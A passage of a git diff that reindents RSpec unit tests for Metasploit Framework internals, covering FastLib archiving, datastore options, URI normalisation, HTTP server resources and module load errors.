Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - example.run - end - end - - context 'without compression and without encryption' do - let(:flags) do - 0x0 - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - context 'cache' do - it 'should populate' do - FastLib.cache[@destination_path].should be_nil - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path].should be_a Hash - end - - it 'should include flags' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path][:fastlib_flags].should == flags - end + let(:archived_paths) do + [ + File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), + File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + ] + end + + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end + + let(:extension) do + '.fastlib' + end + + let(:flag_compress) do + 0x01 + end + + let(:flag_encrypt) do + 0x02 + end + + let(:unarchived_paths) do + archived_paths.collect { |archived_path| + File.join(base_path, archived_path) + } + end + + context 'CONSTANTS' do + context 'flags' do + it 'should have compression' do + described_class::FLAG_COMPRESS.should == flag_compress + end + + it 'should have encryption' do + described_class::FLAG_ENCRYPT.should == flag_encrypt + end + end + end + + context 'class methods' do + context 'dump' do + let(:flag_string) do + flags.to_s(16) + end + + before(:each) do + FastLib.cache.clear + end + + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") + + example.run + end + end + + context 'without compression and without encryption' do + let(:flags) do + 0x0 + end + + it 'should create an archive' do + File.exist?(@destination_path).should be_false + + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + + File.exist?(@destination_path).should be_true + end + + context 'cache' do + it 'should populate' do + FastLib.cache[@destination_path].should be_nil + + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + + FastLib.cache[@destination_path].should be_a Hash + end + + it 'should include flags' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + + FastLib.cache[@destination_path][:fastlib_flags].should == flags + end - pending "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should include header' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - header = FastLib.cache[@destination_path][:fastlib_header] - modification_time = File.mtime(@destination_path).utc.to_i - - header.should be_a Array - # @todo figure out why 12 before header length - header[0].should == 12 - # @todo figure out why header length is 0 - header[1].should == 0 - header[2].should == modification_time - end - - it 'should include archived paths' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - cache = FastLib.cache[@destination_path] - - archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - unarchived_path = File.join(base_path, archived_path) - - # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be - # in the archive. - File.exist?(unarchived_path).should be_true - cache[archived_path].should_not be_nil - end - end - end - end - - context 'with compression and without encryption' do - let(:flags) do - flag_compress - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - it 'should be smaller than the uncompressed archive' do - uncompressed_path = "#{@destination_path}.uncompressed" - compressed_path = "#{@destination_path}.compressed" - - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false - - described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) - described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) + pending "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should include header' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + header = FastLib.cache[@destination_path][:fastlib_header] + modification_time = File.mtime(@destination_path).utc.to_i + + header.should be_a Array + # @todo figure out why 12 before header length + header[0].should == 12 + # @todo figure out why header length is 0 + header[1].should == 0 + header[2].should == modification_time + end + + it 'should include archived paths' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + cache = FastLib.cache[@destination_path] + + archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + unarchived_path = File.join(base_path, archived_path) + + # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be + # in the archive. + File.exist?(unarchived_path).should be_true + cache[archived_path].should_not be_nil + end + end + end + end + + context 'with compression and without encryption' do + let(:flags) do + flag_compress + end + + it 'should create an archive' do + File.exist?(@destination_path).should be_false + + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + + File.exist?(@destination_path).should be_true + end + + it 'should be smaller than the uncompressed archive' do + uncompressed_path = "#{@destination_path}.uncompressed" + compressed_path = "#{@destination_path}.compressed" + + File.exist?(uncompressed_path).should be_false + File.exist?(compressed_path).should be_false + + described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) + described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true + File.exist?(uncompressed_path).should be_true + File.exist?(compressed_path).should be_true - File.size(compressed_path).should < File.size(uncompressed_path) - end - end + File.size(compressed_path).should < File.size(uncompressed_path) + end + end - context 'without compression and with encryption' do - let(:flags) do - flag_encrypt - end + context 'without compression and with encryption' do + let(:flags) do + flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end + File.exist?(@destination_path).should be_true + end + end - context 'with compression and with encryption' do - let(:flags) do - flag_compress | flag_encrypt - end + context 'with compression and with encryption' do + let(:flags) do + flag_compress | flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end - end + File.exist?(@destination_path).should be_true + end + end + end - context 'list' do - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) - - example.run - end - end - - # ensure modules expected to be listed actually exist - it 'should use existent unarchived modules' do - unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true - end - end - - context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end + context 'list' do + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") + + FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) + + example.run + end + end + + # ensure modules expected to be listed actually exist + it 'should use existent unarchived modules' do + unarchived_paths.each do |unarchived_path| + File.exist?(unarchived_path).should be_true + end + end + + context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should have dump cached' do + FastLib.cache[@destination_path].should_not be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end + it 'should list archived paths' do + paths = FastLib.list(@destination_path) + + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end + context 'without cached dump' do + before(:each) do + FastLib.cache.clear + end - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end + it 'should not have dump cache' do + FastLib.cache[@destination_path].should be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) + it 'should list archived paths' do + paths = FastLib.list(@destination_path) - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end + end + end end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 8b37a4c48dc0..7600fd7dad7f 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -1,11 +1,11 @@ require 'spec_helper' describe Msf::Simple::Framework do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' - subject do - framework - end + subject do + framework + end - it_should_behave_like 'Msf::Simple::Framework::ModulePaths' + it_should_behave_like 'Msf::Simple::Framework::ModulePaths' end \ No newline at end of file diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index 6867cc2c1df8..e55d3154eeda 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -4,76 +4,76 @@ require 'msf/core/data_store' shared_examples "datastore" do - it "should have options" do - subject["foo"].should == "bar" - subject["fizz"].should == "buzz" - end - it "should have case-insensitive keys" do - # Sorted by gray code, just for fun - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["fOo"].should == "bar" - subject["fOO"].should == "bar" - subject["FOO"].should == "bar" - subject["FoO"].should == "bar" - subject["foO"].should == "bar" - end - context "#to_h" do - it "should return a Hash with correct values" do - subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } - end - end + it "should have options" do + subject["foo"].should == "bar" + subject["fizz"].should == "buzz" + end + it "should have case-insensitive keys" do + # Sorted by gray code, just for fun + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["fOo"].should == "bar" + subject["fOO"].should == "bar" + subject["FOO"].should == "bar" + subject["FoO"].should == "bar" + subject["foO"].should == "bar" + end + context "#to_h" do + it "should return a Hash with correct values" do + subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } + end + end end describe Msf::DataStore do - describe "#import_option" do - subject do - s = described_class.new - s.import_option("foo", "bar") - s.import_option("fizz", "buzz") - s - end - it_behaves_like "datastore" - end + describe "#import_option" do + subject do + s = described_class.new + s.import_option("foo", "bar") + s.import_option("fizz", "buzz") + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_hash" do - subject do - hash = { "foo" => "bar", "fizz" => "buzz" } - s = described_class.new - s.import_options_from_hash(hash) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_hash" do + subject do + hash = { "foo" => "bar", "fizz" => "buzz" } + s = described_class.new + s.import_options_from_hash(hash) + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_s" do - subject do - str = "foo=bar fizz=buzz" - s = described_class.new - s.import_options_from_s(str) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_s" do + subject do + str = "foo=bar fizz=buzz" + s = described_class.new + s.import_options_from_s(str) + s + end + it_behaves_like "datastore" + end - describe "#from_file" do - subject do - ini_instance = double - ini_instance.stub(:group?).and_return(true) - ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) + describe "#from_file" do + subject do + ini_instance = double + ini_instance.stub(:group?).and_return(true) + ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) - ini = stub_const("Rex::Parser::Ini", Class.new) - ini.stub(:from_file).and_return(ini_instance) + ini = stub_const("Rex::Parser::Ini", Class.new) + ini.stub(:from_file).and_return(ini_instance) - s = described_class.new - s.from_file("path") - s - end + s = described_class.new + s.from_file("path") + s + end - it_behaves_like "datastore" - end + it_behaves_like "datastore" + end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6922c9e952f5..6a9f0677e014 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -7,47 +7,47 @@ describe Msf::Exploit::Capture do - subject do - mod = Msf::Module.new - mod.extend described_class - mod - end + subject do + mod = Msf::Module.new + mod.extend described_class + mod + end - it 'should be a kind of Msf::Exploit::Capture' do - subject.should be_a_kind_of Msf::Exploit::Capture - end + it 'should be a kind of Msf::Exploit::Capture' do + subject.should be_a_kind_of Msf::Exploit::Capture + end - context '#stats_*' do + context '#stats_*' do - it 'should show received packets' do - subject.stats_recv.should == 0 - end + it 'should show received packets' do + subject.stats_recv.should == 0 + end - it 'should show dropped packets' do - subject.stats_drop.should == 0 - end + it 'should show dropped packets' do + subject.stats_drop.should == 0 + end - it 'should show interface-dropped packets' do - subject.stats_ifdrop.should == 0 - end + it 'should show interface-dropped packets' do + subject.stats_ifdrop.should == 0 + end - end + end - it 'should respond to open_pcap' do - subject.should respond_to :open_pcap - end + it 'should respond to open_pcap' do + subject.should respond_to :open_pcap + end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do - end + it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do - end + it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do - end + it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do - end + it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 1812e5f1ad89..10b694dd5daf 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -5,197 +5,197 @@ require 'msf/core/exploit/http/client' describe Msf::Exploit::Remote::HttpClient do - subject do - mod = Module.new - mod.extend described_class - - mod - end - - describe '#normalize_uri' do - let(:expected_normalized_uri) do - '/a/b/c' - end - - let(:normalized_uri) do - subject.normalize_uri(unnormalized_uri) - end - - context "with just '/'" do - let(:unnormalized_uri) do - '/' - end - - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context "with starting '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end - - it "should start with '/'" do - unnormalized_uri[0, 1].should == '/' - end - - it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri - end - - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end - - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end - - context "with multiple starting '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri}" - end - - it "should have at least 2 starting '/'" do - unnormalized_uri[0, 2].should == '//' - end - - it "should return with one starting '/'" do - normalized_uri.should == expected_normalized_uri - end - end - - context "with trailing '/'" do - let(:expected_normalized_uri) do - '/a/b/c/' - end - - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end - - it "should end with '/'" do - normalized_uri[-1, 1].should == '/' - end - - context "with multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end - - it "should have multiple trailing '/'" do - unnormalized_uri[-2,2].should == '//' - end - - it "should return only one trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end - - context "without trailing '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end - - it "should not have a trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end - - it "should return original string" do - normalized_uri.should == expected_normalized_uri - end - end - end - - context "without starting '/'" do - context "with trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c/' - end - let(:expected_normalized_uri) do - '/a/b/c/' - end - - it "should have trailing '/'" do - unnormalized_uri[-1, 1].should == '/' - end - - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end - - it "should not remove trailing '/'" do - normalized_uri[-1, 1].should == '/' - end - - it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}" - end - - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end - - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end - - context "without trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - - it "should not have trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end - - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end - - it "should add trailing '/'" do - normalized_uri[-1, 1].should_not == '/' - end - end - end - - context 'with empty string' do - let(:unnormalized_uri) do - '' - end - - it "should be empty" do - unnormalized_uri.should be_empty - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context 'with nil' do - let(:unnormalized_uri) do - nil - end - - it 'should be nil' do - unnormalized_uri.should be_nil - end - - it "should return '/" do - normalized_uri.should == '/' - end - end - end + subject do + mod = Module.new + mod.extend described_class + + mod + end + + describe '#normalize_uri' do + let(:expected_normalized_uri) do + '/a/b/c' + end + + let(:normalized_uri) do + subject.normalize_uri(unnormalized_uri) + end + + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + + context "with starting '/'" do + let(:unnormalized_uri) do + expected_normalized_uri + end + + it "should start with '/'" do + unnormalized_uri[0, 1].should == '/' + end + + it "should not add another starting '/'" do + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end + + context "with multiple starting '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri}" + end + + it "should have at least 2 starting '/'" do + unnormalized_uri[0, 2].should == '//' + end + + it "should return with one starting '/'" do + normalized_uri.should == expected_normalized_uri + end + end + + context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end + + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end + + it "should end with '/'" do + normalized_uri[-1, 1].should == '/' + end + + context "with multiple trailing '/'" do + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end + + it "should have multiple trailing '/'" do + unnormalized_uri[-2,2].should == '//' + end + + it "should return only one trailing '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end + + context "without trailing '/'" do + let(:unnormalized_uri) do + expected_normalized_uri + end + + it "should not have a trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end + + it "should return original string" do + normalized_uri.should == expected_normalized_uri + end + end + end + + context "without starting '/'" do + context "with trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c/' + end + let(:expected_normalized_uri) do + '/a/b/c/' + end + + it "should have trailing '/'" do + unnormalized_uri[-1, 1].should == '/' + end + + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end + + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' + end + + it 'should normalize the uri' do + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end + + context "without trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end + + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end + + it "should add trailing '/'" do + normalized_uri[-1, 1].should_not == '/' + end + end + end + + context 'with empty string' do + let(:unnormalized_uri) do + '' + end + + it "should be empty" do + unnormalized_uri.should be_empty + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + + context 'with nil' do + let(:unnormalized_uri) do + nil + end + + it 'should be nil' do + unnormalized_uri.should be_nil + end + + it "should return '/" do + normalized_uri.should == '/' + end + end + end end diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index e2d4c358e519..84469dea4118 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,83 +6,83 @@ require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do - subject(:server_module) do - mod = Msf::Exploit.allocate - mod.extend described_class - mod.send(:initialize, {}) + subject(:server_module) do + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, {}) - mod - end + mod + end - let(:mock_service) do - mock_service = double("service") - mock_service.stub(:server_name=) - mock_service.stub(:add_resource) + let(:mock_service) do + mock_service = double("service") + mock_service.stub(:server_name=) + mock_service.stub(:add_resource) - mock_service - end + mock_service + end - before do - Rex::ServiceManager.stub(:start => mock_service) - end + before do + Rex::ServiceManager.stub(:start => mock_service) + end - describe "#add_resource" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#add_resource" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.add_resource('Path' => 'foo') - end + mock_service.should_receive(:add_resource) + server_module.add_resource('Path' => 'foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - server_module.add_resource('Path' => 'foo') + server_module.add_resource('Path' => 'foo') - expect { server_module.add_resource('Path' => 'foo') }.to raise_error - end + expect { server_module.add_resource('Path' => 'foo') }.to raise_error + end - end + end - describe "#cleanup" do - it "should not remove resources if none were successfully added" do - server_module.should_not_receive(:remove_resource) - server_module.cleanup - end + describe "#cleanup" do + it "should not remove resources if none were successfully added" do + server_module.should_not_receive(:remove_resource) + server_module.cleanup + end - it "should remove successfully-added resources" do - # setup - server_module.start_service - resources = [ 'a', 'b', 'c' ] - resources.each { |r| server_module.add_resource('Path' => r) } + it "should remove successfully-added resources" do + # setup + server_module.start_service + resources = [ 'a', 'b', 'c' ] + resources.each { |r| server_module.add_resource('Path' => r) } - # The service will add one resource as part of #start_service, so - # add that to the number that we added manually - server_module.should_receive(:remove_resource).exactly(resources.count + 1).times - server_module.cleanup - end + # The service will add one resource as part of #start_service, so + # add that to the number that we added manually + server_module.should_receive(:remove_resource).exactly(resources.count + 1).times + server_module.cleanup + end - end + end - describe "#hardcoded_uripath" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#hardcoded_uripath" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.hardcoded_uripath('foo') - end + mock_service.should_receive(:add_resource) + server_module.hardcoded_uripath('foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - expect { server_module.hardcoded_uripath('foo') }.to raise_error - end - end + expect { server_module.hardcoded_uripath('foo') }.to raise_error + end + end end diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 48cd0e0cb58a..9e121a31afd5 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -17,7 +17,7 @@ require 'msf/core' describe Msf::ModuleManager do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' let(:archive_basename) do [basename_prefix, archive_extension] diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index 724e3fedd75a..b67c31308e2a 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -2,101 +2,101 @@ require 'spec_helper' describe Msf::Modules::Error do - context 'instance methods' do - context '#initialize' do + context 'instance methods' do + context '#initialize' do include_context 'Msf::Modules::Error attributes' - context 'with :causal_message' do - subject do - described_class.new(:causal_message => causal_message) - end - - it 'should include causal_message in error' do - subject.to_s.should == "Failed to load module due to #{causal_message}" - end - end - - context 'with :causal_message and :module_path' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path - ) - end - - it 'should include causal_message and module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" - end - end - - context 'with :causal_message and :module_reference_name' do + context 'with :causal_message' do subject do - described_class.new( - :causal_message => causal_message, - :module_reference_name => module_reference_name - ) - end - - it 'should include causal_message and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" - end - end - - context 'with :causal_message, :module_path, and :module_reference_nam' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - it 'should include causal_message, module_path, and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" - end - end - - context 'with :module_path' do - subject do - described_class.new(:module_path => module_path) - end - - it 'should use :module_path for module_path' do - subject.module_path.should == module_path - end - - it 'should include module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path})" - end - end - - context 'with :module_path and :module_reference_name' do - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - it 'should include module_path and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" - end - end - - context 'with :module_reference_name' do - subject do - described_class.new(:module_reference_name => module_reference_name) - end - - it 'should use :module_reference_name for module_reference_name' do - subject.module_reference_name.should == module_reference_name - end - - it 'should include module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name})" - end - end - - end - end + described_class.new(:causal_message => causal_message) + end + + it 'should include causal_message in error' do + subject.to_s.should == "Failed to load module due to #{causal_message}" + end + end + + context 'with :causal_message and :module_path' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path + ) + end + + it 'should include causal_message and module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" + end + end + + context 'with :causal_message and :module_reference_name' do + subject do + described_class.new( + :causal_message => causal_message, + :module_reference_name => module_reference_name + ) + end + + it 'should include causal_message and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" + end + end + + context 'with :causal_message, :module_path, and :module_reference_nam' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end + + it 'should include causal_message, module_path, and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" + end + end + + context 'with :module_path' do + subject do + described_class.new(:module_path => module_path) + end + + it 'should use :module_path for module_path' do + subject.module_path.should == module_path + end + + it 'should include module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path})" + end + end + + context 'with :module_path and :module_reference_name' do + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end + + it 'should include module_path and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" + end + end + + context 'with :module_reference_name' do + subject do + described_class.new(:module_reference_name => module_reference_name) + end + + it 'should use :module_reference_name for module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + + it 'should include module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name})" + end + end + + end + end end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index c65409261dca..aafa587f9dbe 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -4,273 +4,273 @@ require 'msf/core' describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end - - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end - - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end - - let(:enabled_type_directory) do - 'exploits' - end - - let(:framework) do - double('Framework') - end - - let(:module_extension) do - '.rb' - end - - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end - - let(:module_reference_name) do - 'module/reference/name' - end - - subject do - described_class.new(module_manager) - end - - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + let(:archive_extension) do + '.fastlib' + end + + context 'CONSTANTS' do + it 'should have extension' do + described_class::ARCHIVE_EXTENSION.should == archive_extension + end + end + + context 'instance methods' do + let(:enabled_type) do + 'exploit' + end + + let(:enabled_type_directory) do + 'exploits' + end + + let(:framework) do + double('Framework') + end + + let(:module_extension) do + '.rb' + end + + let(:module_manager) do + # DO NOT mock module_manager to ensure that no protected methods are being called. + Msf::ModuleManager.new(framework, [enabled_type]) + end + + let(:module_reference_name) do + 'module/reference/name' + end + + subject do + described_class.new(module_manager) + end + + context '#each_module_reference_name' do + let(:disabled_module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary end - EOS - end + EOS + end - let(:disabled_type) do - 'auxiliary' - end + let(:disabled_type) do + 'auxiliary' + end - let(:disabled_type_directory) do - 'auxiliary' - end + let(:disabled_type_directory) do + 'auxiliary' + end - let(:enabled_module_content) do + let(:enabled_module_content) do <<-EOS class Metasploit3 < Msf::Exploit::Remote end EOS - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory - - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path - - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path - - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # - - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end - - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p 